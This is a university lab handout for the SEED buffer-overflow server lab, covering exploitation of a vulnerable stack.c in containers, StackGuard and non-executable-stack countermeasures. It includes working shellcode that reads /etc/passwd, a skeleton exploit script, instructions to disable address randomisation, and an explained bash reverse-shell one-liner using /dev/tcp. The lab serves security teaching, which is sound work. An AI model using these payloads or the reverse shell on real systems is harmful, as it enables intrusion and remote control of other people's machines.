Buffer Overflow Attack Lab (Server Version)

Copyright © 2020 by Wenliang Du.
This work is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License. If you remix, transform, or build upon the material, this copyright notice must be left intact, or reproduced in a way that is reasonable to the medium in which the work is being re-published.

1 Overview

Buffer overflow is defined as the condition in which a program attempts to write data beyond the boundary of a buffer. This vulnerability can be used by a malicious user to alter the flow control of the program, leading to the execution of malicious code. The objective of this lab is for students to gain practical insights into this type of vulnerability, and learn how to exploit the vulnerability in attacks.

In this lab, students will be given two different servers, each running a program with a buffer-overflow vulnerability. Their task is to develop a scheme to exploit the vulnerability and finally gain the root privilege on these servers. In addition to the attacks, students will also experiment with several countermeasures against buffer-overflow attacks. Students need to evaluate whether the schemes work or not and explain why. This lab covers the following topics:

- Buffer overflow vulnerability and attack
- Stack layout in a function invocation
- Address randomization, Non-executable stack, and StackGuard
- Shellcode. There is a separate lab on how to write shellcode from scratch.

You may work with one or two partners on this lab.

Reading Detailed coverage of the buffer-overflow attack can be found in the following:

- Chapter 4, *Buffer Overflow Attack*, of the SEED Book, *Computer & Internet Security: A Hands-on Approach*, 3rd Edition, by Wenliang Du. See details at Hands on Security.

2 Submission

Submit a lab report in Canvas as a Word document. Your lab report should contain two sections:

- **Results Summary** Summarize the results/observations from each of the lab's tasks. Several questions in this lab are boxed and boldfaced. This section of your lab report should answer these questions. This section of your lab report may be written jointly with your partner(s). Your lab report must contain this section, even if you wrote it jointly with your partner(s).
- **Lessons Learned** Describe your major takeaways from completing this lab, using your results to illustrate your takeaways. I expect you to put significant thought into this section, as I am looking for you to reflect on the experience of working on the lab. Any sources that you use other than your lab results and the textbook must be carefully cited. This section of your lab report must be written entirely individually by you.

3 Lab Environment

Run these commands before starting this lab:

```
cd seed-labs
git pull upstream main
git push
```

The files for this lab are in the directory rooted at `category-software/Buffer_Overflow_Server/Labsetup` from `seed-labs`.

3.1 Disabling Countermeasures

Before starting this lab, we have to disable the address randomization countermeasure; otherwise, the attacks will be difficult. You can do disable it using the following commands:

```
$ cd /etc
$ sudo cp sysctl.conf sysctl.conf.orig
$ sudo nano sysctl.conf
```

At the end of `sysctl.conf` add the line:

```
kernel.randomize_va_space=0
```

Save `sysctl.conf` and reboot your VM. This setting will not take effect until you reboot your VM.

3.2 The Vulnerable Program

The vulnerable program used in this lab is called `stack.c`, which is in the `server-code` folder. This program has a buffer-overflow vulnerability, and your job is to exploit this vulnerability and gain the root privilege. The code listed below has some non-essential information removed, so it is slightly different from what you get from the lab setup file.

Listing 1: The vulnerable program `stack.c`

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* Changing this size will change the layout of the stack.
 * Instructors can change this value each year, so students
 * won't be able to use the solutions from the past. */
#ifndef BUF_SIZE
#define BUF_SIZE 100
#endif

int bof(char *str)
{
    char buffer[BUF_SIZE];

    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);

    return 1;
```

```
}

void foo(char *str)
{
    ...
    bof(str);
}

int main(int argc, char **argv)
{
    char str[517];

    int length = fread(str, sizeof(char), 517, stdin);
    foo(str);
    fprintf(stdout, "==== Returned Properly ====\n");
    return 1;
}
```

The above program has a buffer overflow vulnerability. It reads data from the standard input, and the data are eventually copied to another buffer in the function `bof()`. The original input can have a maximum length of `517` bytes, but the buffer in `bof()` is only `BUF_SIZE` bytes long, which is less than `517`. Because `strcpy()` does not check boundaries, buffer overflow will occur.

The program will run on a server with the root privilege, and its standard input will be redirected to a TCP connection between the server and a remote user. Therefore, the program actually gets its data from a remote user. If users can exploit this buffer overflow vulnerability, they can get a root shell on the server.

Compilation. To compile the above vulnerable program, we need to turn off the StackGuard and the non-executable stack protections using the `-fno-stack-protector` and `"-z execstack"` options. The following is an example of the compilation command (the `L1` environment variable sets the value for the `BUF_SIZE` constant inside `stack.c`).

```
$ gcc -DBUF_SIZE=$(L1) -o stack -z execstack -fno-stack-protector stack.c
```

We will compile the `stack` program into 32-bit binaries. Our pre-built Ubuntu 20.04 VM is a 64-bit VM, but it still supports 32-bit binaries. All we need to do is to use the `-m32` option in the `gcc` command. For 32-bit compilation, we also use `-static` to generate a statically-linked binary, which is self-contained and not depending on any dynamic library, because the 32-bit dynamic libraries are not installed in our containers.

The compilation commands are already provided in `Makefile`. To compile the code, you need to type `make` to execute those commands. The variables `L1` and `L2` are set in `Makefile`; they will be used during the compilation. After the compilation, we need to copy the binary into the `bof-containers` folder, so they can be used by the containers. The following commands conduct compilation and installation.

```
$ make
$ make install
```

The Server Program. In the `server-code` folder, you can find a program called `server.c`. This is the main entry point of the server. It listens to port `9090`. When it receives a TCP connection, it invokes the `stack` program, and sets the TCP connection as the standard input of the `stack` program. This way,

when `stack` reads data from `stdin`, it actually reads from the TCP connection, i.e. the data are provided by the user on the TCP client side.

4 Task 1: Get Familiar with the Shellcode

The ultimate goal of buffer-overflow attacks is to inject malicious code into the target program, so the code can be executed using the target program's privilege. Shellcode is widely used in most code-injection attacks. Let us get familiar with it in this task.

Shellcode is typically used in code injection attacks. It is basically a piece of code that launches a shell, and is usually written in assembly languages. In this lab, we only provide the binary version of a generic shellcode, without explaining how it works, because it is non-trivial. If you are interested in how exactly shellcode works, and want to write a shellcode from scratch, you can learn that from a separate SEED lab called *Shellcode Lab*. Our generic shellcode is listed in the following.

```
shellcode = (
   "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
   "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
   "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
   "/bin/bash*"                                                    ❶
   "-c*"                                                           ❷
   "/bin/ls -l; echo Hello; /bin/tail -n 2 /etc/passwd        *"   ❸
   # The * in this line serves as the position marker         *
   "AAAA"   # Placeholder for argv[0] --> "/bin/bash"
   "BBBB"   # Placeholder for argv[1] --> "-c"
   "CCCC"   # Placeholder for argv[2] --> the command string
   "DDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')
```

The shellcode runs the `"/bin/bash"` shell program (Line ❶), but it is given two arguments, `"-c"` (Line ❷) and a command string (Line ❸). This indicates that the shell program will run the commands in the second argument. The `*` at the end of these strings is only a placeholder, and it will be replaced by one byte of `0x00` during the execution of the shellcode. Each string needs to have a zero at the end, but we cannot put zeros in the shellcode. Instead, we put a placeholder at the end of each string, and then dynamically put a zero in the placeholder during the execution.

If we want the shellcode to run some other commands, we just need to modify the command string in Line ❸. However, when making changes, we need to make sure not to change the length of this string, because the starting position of the placeholder for the `argv[]` array, which is right after the command string, is hardcoded in the binary portion of the shellcode. If we change the length, we need to modify the binary part. To keep the star at the end of this string at the same position, you can add or delete spaces.

You can find the generic shellcode in the `shellcode` folder. Inside, you will see one Python program, `shellcode_32.py`. This is for 32-bit shellcode. This Python program will write the binary shellcode to `codefile_32`. You can then use `call_shellcode` to execute the shellcode in them.

```
// Generate the shellcode binary
$ ./shellcode_32.py    ➞  generate codefile_32

// Compile call_shellcode.c
$ make                 ➞  generate a32.out

// Test the shellcode
```

```
$ ./a32.out            ➞  execute the shellcode in codefile_32
```

Modify the shellcode so that you can use it to remove a file. You can easily create a target file for removal by running the command:

```
echo "I am a file" > targetfile
```

Recall that the `rm` command is used to remove a file. Use the `ls` command before and after running your shellcode to confirm that `targetfile` existed before running the shellcode and was removed after running the shellcode. Include your modified shellcode in your lab report.

5 Task 2: Level-1 Attack

Note: It should be noted that before running `dcbuild` from the `Labsetup` directory to build the docker images, we need to compile and copy the server code to the `bof-containers` folder. This step is described in Section 3.2.

When we start the containers using the included `docker-compose.yml` file and the `dcup` command, two containers will be running, representing two levels of difficulties. We will work on Level 1 in this task. Note that the running instances of the containers will not detach from the terminal after using `dcup`. Type `ctrl-c` to terminate the containers.

5.1 Server

Our first target runs on `10.9.0.5` (the port number is `9090`). Using a second terminal window, let's first send a benign message to this server. We will see the following messages printed out by the target container (the actual messages you see may be different), in the container's terminal window.

```
// On the VM (i.e., the attacker machine)
$ echo hello | nc -N 10.9.0.5 9090
Press Ctrl+C

// Messages printed out by the container
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffffdb88    ☆
server-1-10.9.0.5 | Buffer's address inside bof():     0xffffdb18    ☆
server-1-10.9.0.5 | ==== Returned Properly ====
```

The server will accept up to `517` bytes of the data from the user, and that will cause a buffer overflow. Your job is to construct your payload to exploit this vulnerability. If you save your payload in a file, you can send the payload to the server using the following command.

```
$ cat <file> | nc -N 10.9.0.5 9090
```

Note that `<file>` is just a "placeholder" for the name of an actual file. If the server program returns, it will print out `"Returned Properly"`. If this message is not printed out, the `stack` program has probably crashed. The server will still keep running, taking new connections.

For this task, the information essential for buffer-overflow attacks is printed out as hints to students: the value of the frame pointer and the address of the buffer. The frame point register is called `ebp` for the x86

architecture. You can use the provided information to construct your payload.

Added randomness. We have added a little bit of randomness in the program, so different students are likely to see different values for the buffer address and frame pointer. The values only change when the container restarts, so as long as you keep the container running, you will see the same numbers (the numbers seen by different students are still different). If you restart the container, the return address value in `exploit.py` (see below) will have to be changed. This randomness is different from the address-randomization countermeasure. Its sole purpose is to make students' work a little bit different.

5.2 Writing Exploit Code and Launching Attack

To exploit the buffer-overflow vulnerability in the target program, we need to prepare a payload, and save it inside a file (we will use `badfile` as the file name in this document). We will use a Python program to do that. We provide a skeleton program called `exploit.py`, which is included in the `attack-code` directory. The code is incomplete, and students need to replace some of the essential values in the code.

Listing 2: The skeleton exploit code (`exploit.py`)

```
#!/usr/bin/python3
import sys

# You can copy and paste the shellcode from Task 1
shellcode = (
  ""                    # ☆ Need to change ☆
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start =  0              # ☆ Need to change ☆
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and save it somewhere in the payload
ret    = 0x00           # ☆ Need to change ☆
offset = 0              # ☆ Need to change ☆

# Use 4 for 32-bit address, 8 for 64-bit address
content[offset:offset + 4] = (ret).to\_bytes(4,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

After you finish the above program, run it. This will generate the contents for `badfile`. Then feed it to the vulnerable server. If your exploit is implemented correctly, the command you put inside your shellcode will be executed. If your command generates some outputs, you should be able to see them from the container window.

```
$./exploit.py   // create the badfile
$ cat badfile | nc -N 10.9.0.5 9090
```

Reverse shell. We are not interested in running some pre-determined commands. We want to get a root shell on the target server, so we can type any command we want. Since we are on a remote machine, if we simply get the server to run `/bin/sh`, we won't be able to control the shell program. Reverse shell is a typical technique to solve this problem. Section 8 provides detailed instructions on how to run a reverse shell.

Modify the command string in your shellcode, so you can get a reverse shell on the target server. Include a listing of `exploit.py` in your lab report, a screenshot showing that you have a reverse shell, and an explanation of the modifications you made to `exploit.py`.

6 Task 3: Level-2 Attack

In this task, we are going to increase the difficulty of the attack a little bit by not displaying an essential piece of the information. Our target server is `10.9.0.6` (the port number is still `9090`, and the vulnerable program is still a 32-bit program). Let's first send a benign message to this server. We will see the following messages printed out by the target container.

```
// On the VM (i.e., the attacker machine)
$ echo hello | nc 10.9.0.6 9090
Ctrl+C

// Messages printed out by the container
server-2-10.9.0.6 | Got a connection from 10.9.0.1
server-2-10.9.0.6 | Starting stack
server-2-10.9.0.6 | Input size: 6
server-2-10.9.0.6 | Buffer's address inside bof():     0xffffda3c
server-2-10.9.0.6 | ==== Returned Properly ====
```

As you can see, the server only gives out one hint, the address of the buffer; it does not reveal the value of the frame pointer. This means, the size of the buffer is unknown to you. That makes exploiting the vulnerability more difficult than the Level-1 attack. To simplify the task, we do assume that the range of the buffer size is known. Another fact that may be useful to you is that, due to the memory alignment, the value stored in the frame pointer is always a multiple of four for 32-bit programs.

```
Range of the buffer size (in bytes): [100, 300]
```

Your job is to construct one payload to exploit the buffer overflow vulnerability on the server, and get a root shell on the target server (using the reverse shell technique). As with the Level-1 attack, the buffer's address will change each time your start the containers. Note that you are only allowed to construct one payload that works for any buffer size within this range. You will not get all the credits if you use the brute-force method, i.e., trying one buffer size each time. The more you try, the easier it will be detected and defeated by the victim. That's why minimizing the number of trials is important for attacks.

Include a listing of `exploit.py` in your lab report, a screenshot showing that you have a reverse shell, and an explanation of the modifications you made to `exploit.py`.

7 Task 4: Experimenting with Other Countermeasures

7.1 Task 4.a: Turn on the StackGuard Protection

Many compiler, such as `gcc`, implements a security mechanism called *StackGuard* to prevent buffer overflows. In the presence of this protection, buffer overflow attacks will not work. The provided vulnerable programs were compiled without enabling the StackGuard protection. In this task, we will turn it on and see what will happen.

Go to the `server-code` folder, remove the `-fno-stack-protector` flag from the first line of `Makefile`. A smart way of doing this is to make a copy of the `FLAGS` line, comment-out the original line, and then remove the `-fno-stack-protector` flag:

```
#FLAGS    = -z execstack -fno-stack-protector
FLAGS    = -z execstack
```

Next, compile the program:

```
make clean
make
```

We will only use `stack-L1`, but instead of running it in a container, we will directly run it from the command line. Let's create a file that can cause buffer overflow, and then feed the content of the file to `stack-L1`. `badfile` will be filled with the repeated string `data` and will be of size `<size>`. Replace `<size>` with a value which will be large enough to overflow the buffer and reach the return address in the frame in stack-L1, but not too large.

```
$ yes "data" | head -c <size>  > badfile

$ ./stack-L1 < badfile
```

Describe and explain your observations. What value did you use for `<size>` and why did you choose that value?

7.2 Task 4.b: Turn on the Non-executable Stack Protection

Operating systems used to allow executable stacks, but this has now changed: In Ubuntu OS, the binary images of programs (and shared libraries) must declare whether they require executable stacks or not, i.e., they need to mark a field in the program header. Kernel or dynamic linker uses this marking to decide whether to make the stack of this running program executable or non-executable. This marking is done automatically by the `gcc`, which by default makes stack non-executable. We can specifically make it non-executable using the `"-z noexecstack"` flag in the compilation. In our previous tasks, we used `"-z execstack"` to make stacks executable.

In this task, we will make the stack non-executable. We will do this experiment in the `shellcode` folder. The `call_shellcode` program puts a copy of shellcode on the stack, and then executes the code from the stack. Replace the `-z execstack` flag in the `Makefile` with `-z noexecstack`. Then, use the `make` command to recompile `call_shellcode.c`, the `-z execstack` option. Run `a32.out`.

Describe and explain your observations.

Defeating the non-executable stack countermeasure. It should be noted that non-executable stack only makes it impossible to run shellcode on the stack, but it does not prevent buffer-overflow attacks, because there are other ways to run malicious code after exploiting a buffer-overflow vulnerability. The *return-to-libc* attack is an example. We have designed a separate lab for that attack. If you are interested, please see our Return-to-Libc Attack Lab for details.

7.3 Restoring Countermeasures

Once you have completed the lab, you should restore the address randomization countermeasure for safety. You can restore it using the following commands:

```
$ cd /etc
$ sudo mv sysctl.conf.orig sysctl.conf
```

Once again, this will not take effect until you reboot your VM.

8 Guidelines on Reverse Shell

The key idea of reverse shell is to redirect its standard input, output, and error devices to a network connection, so the shell gets its input from the connection, and prints out its output also to the connection. At the other end of the connection is a program run by the attacker; the program simply displays whatever comes from the shell at the other end, and sends whatever is typed by the attacker to the shell, over the network connection.

A commonly used program by attackers is `netcat`, which, if running with the `"-l"` option (that's the letter 'el,' not the number 'one') , becomes a TCP server that listens for a connection on the specified port. This server program basically prints out whatever is sent by the client, and sends to the client whatever is typed by the user running the server. In the following experiment, `netcat` (`nc` for short) is used to listen for a connection on port `9090` (let us focus only on the first line). Note that you will need to run this instance of `nc` in its own terminal window.

```
Attacker(10.0.2.6):$ nc -nvN -l 9090  ← Waiting for reverse shell
Listening on 0.0.0.0 9090
Connection received on 10.0.2.5 39452
Server(10.0.2.5):$     ← Reverse shell from 10.0.2.5.
Server(10.0.2.5):$ ifconfig
ifconfig
enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.0.2.5  netmask 255.255.255.0  broadcast 10.0.2.255
        ...
```

The above `nc` command will block, waiting for a connection. We now directly run the following bash program on the Server machine (`10.0.2.5`) to emulate what attackers would run after compromising the server via the Shellshock attack. This bash command will trigger a TCP connection to the attacker machine's port 9090, and a reverse shell will be created. We can see the shell prompt from the above result, indicating that the shell is running on the Server machine; we can type the `ifconfig` command to verify that the IP address is indeed `10.0.2.5`, the one belonging to the Server machine. Here is the bash command:

```
Server(10.0.2.5):$ /bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1
```

The above command represents the one that would normally be executed on a compromised server. It is quite complicated, and we give a detailed explanation in the following:

- "/bin/bash -i": The option i stands for interactive, meaning that the shell must be interactive (must provide a shell prompt).
- "> /dev/tcp/10.0.2.6/9090": This causes the output device (stdout) of the shell to be redirected to the TCP connection to 10.0.2.6's port 9090. In Unix systems, stdout's file descriptor is 1.
- "0<&1": File descriptor 0 represents the standard input device (stdin). This option tells the system to use the standard output device as the stardard input device. Since stdout is already redirected to the TCP connection, this option basically indicates that the shell program will get its input from the same TCP connection.
- "2>&1": File descriptor 2 represents the standard error stderr. This causes the error output to be redirected to stdout, which is the TCP connection.

In summary, the command "/bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1" starts a bash shell on the server machine, with its input coming from a TCP connection, and output going to the same TCP connection. In our experiment, when the bash shell command is executed on 10.0.2.5, it connects back to the netcat process started on 10.0.2.6. This is confirmed via the "Connection from 10.0.2.5 ..." message displayed by netcat.